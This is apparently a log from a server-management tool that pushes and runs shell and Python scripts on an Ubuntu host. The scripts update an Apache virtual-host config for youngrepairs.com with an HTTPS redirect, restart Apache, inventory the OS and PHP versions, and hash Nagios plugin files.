MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-29 19:48:38: Establishing a connection
2026-04-29 19:48:38: 

PUT: /tmp/pkp312749

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/youngrepairs_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-29 19:48:38: 

chmod 755 /tmp/pkp312749; /tmp/pkp312749; rm /tmp/pkp312749

2026-04-29 19:48:38: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/youngrepairs_www_com.conf 44

<VirtualHost *:80>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/youngrepairs_www
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/youngrepairs/www_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/76526c88d7a3ad40c19457afe65bc2f6.crt
    DocumentRoot	/var/www/youngrepairs_www
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/youngrepairs/www_secure_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.4-phil.sock|fcgi://localhost"
    </FilesMatch>
</VirtualHost>





2026-04-29 19:48:38: 

PUT: /tmp/pkp726929

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=youngrepairs_www_com.conf
TARGET=/etc/apache2/sites-enabled/youngrepairs_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/youngrepairs_www
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/youngrepairs/www_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/76526c88d7a3ad40c19457afe65bc2f6.crt
    DocumentRoot	/var/www/youngrepairs_www
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/youngrepairs/www_secure_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/youngrepairs
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/youngrepairs_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/youngrepairs_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/youngrepairs_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/youngrepairs_www_com.conf= 1'
fi


2026-04-29 19:48:38: 

chmod 755 /tmp/pkp726929; /tmp/pkp726929; rm /tmp/pkp726929

2026-04-29 19:48:38: 




2026-04-29 19:48:38: 

PUT: /tmp/pkp301966

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/youngrepairs_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-29 19:48:38: 

chmod 755 /tmp/pkp301966; /tmp/pkp301966; rm /tmp/pkp301966

2026-04-29 19:48:38: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/youngrepairs_www_com.conf 44

<VirtualHost *:80>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/youngrepairs_www
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/youngrepairs/www_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/76526c88d7a3ad40c19457afe65bc2f6.crt
    DocumentRoot	/var/www/youngrepairs_www
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/youngrepairs/www_secure_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>






2026-04-29 19:48:38: 

PUT: /tmp/pkp622211

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=youngrepairs_www_com.conf
TARGET=/etc/apache2/sites-enabled/youngrepairs_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/youngrepairs_www
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/youngrepairs/www_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/76526c88d7a3ad40c19457afe65bc2f6.crt
    DocumentRoot	/var/www/youngrepairs_www
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/youngrepairs/www_secure_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/youngrepairs
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/youngrepairs_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/youngrepairs_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/youngrepairs_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/youngrepairs_www_com.conf= 1'
fi


2026-04-29 19:48:38: 

chmod 755 /tmp/pkp622211; /tmp/pkp622211; rm /tmp/pkp622211

2026-04-29 19:48:38: 




2026-04-29 19:48:38: 

PUT: /tmp/pkp598150

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-29 19:48:38: 

chmod 755 /tmp/pkp598150; /tmp/pkp598150; rm /tmp/pkp598150

2026-04-29 19:48:38: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-29 19:48:38: Performing Server Status
2026-04-29 19:48:38: 

PUT: /tmp/pkp568084

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-04-29 19:48:38: 

chmod 755 /tmp/pkp568084; /tmp/pkp568084; rm /tmp/pkp568084

2026-04-29 19:48:38: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
mars

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-110-generic



2026-04-29 19:48:38: 

PUT: /tmp/pkp422582

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-04-29 19:48:38: 

chmod 755 /tmp/pkp422582; /tmp/pkp422582; rm /tmp/pkp422582

2026-04-29 19:48:38: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-03-05T17:31:54
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 309494
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      309494  0.0  0.9 325096 39568 ?        Ss   Apr23   0:56 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_fcgi_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2026-04-29 19:48:38: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'mars',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'headers_module',
      22 => 'mime_module',
      23 => 'mpm_prefork_module',
      24 => 'negotiation_module',
      25 => 'php_module',
      26 => 'proxy_module',
      27 => 'proxy_fcgi_module',
      28 => 'reqtimeout_module',
      29 => 'rewrite_module',
      30 => 'setenvif_module',
      31 => 'socache_shmcb_module',
      32 => 'ssl_module',
      33 => 'status_module',
    ),
  ),
)


2026-04-29 19:48:38: 

PUT: /tmp/pkp764097

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-04-29 19:48:38: 

chmod 755 /tmp/pkp764097; /tmp/pkp764097; rm /tmp/pkp764097

2026-04-29 19:48:39: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-04-29 19:48:39: 

PUT: /tmp/pkp267750

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-04-29 19:48:39: 

chmod 755 /tmp/pkp267750; /tmp/pkp267750; rm /tmp/pkp267750

2026-04-29 19:48:39: 


[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.30
[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.30
[php8.4]
php=/usr/bin/php8.4
fpm=/etc/php/8.4/fpm/pool.d
version=8.4.20


2026-04-29 19:48:39: 

PUT: /tmp/pkp327386

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-04-29 19:48:39: 

chmod 755 /tmp/pkp327386; /tmp/pkp327386; rm /tmp/pkp327386

2026-04-29 19:48:39: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_real)= dd4b06ffdde547e7ae66453ed8af464f
